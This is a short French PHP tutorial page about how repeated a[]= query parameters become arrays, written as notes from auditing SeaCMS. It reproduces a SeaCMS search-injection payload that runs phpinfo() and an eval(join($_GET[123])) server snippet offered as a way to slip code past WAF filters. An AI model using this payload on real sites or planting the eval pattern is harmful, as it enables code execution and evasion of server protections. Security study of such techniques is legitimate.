Maison >développement back-end >tutoriel php >Exemple de partage de la façon dont PHP envoie un tableau via une requête http

Exemple de partage de la façon dont PHP envoie un tableau via une requête http

黄舟
黄舟original
2017-10-24 09:26:182440parcourir

J'ai récemment commencé à apprendre l'audit PHP, et juste à temps pour étudier les seacms, j'ai découvert un point étrange dans la charge utile

searchtype=5&searchword={
if{searchpage:year}&year=:e{searchpage:area}
}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

Je l'ai essayé et j'ai découvert cela lors de la réception de données, par exemple :

Nom de la clé=a, puis en passant a[]=a&a[]=b, a est un tableau, donc nous avons fait un test, et c'était vrai

Test côté serveur code

<?php
	print_r($_GET[1]);
?>

Les résultats du test sont les suivants

Exemple de partage de la façon dont PHP envoie un tableau via une requête http

Exemple de partage de la façon dont PHP envoie un tableau via une requête http

Alors à quoi ça sert un? Après réflexion, s'il y a des outils de protection tels que security dog ​​ou waf sur le serveur, alors en les combinant avec d'autres fonctions PHP, comme la fonction join, l'effet de contournement peut être obtenu

Fournir un idée simple

Code de test du serveur

<?php
	eval(join($_GET[123]));
?>

Les résultats du test sont les suivants

Exemple de partage de la façon dont PHP envoie un tableau via une requête http

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn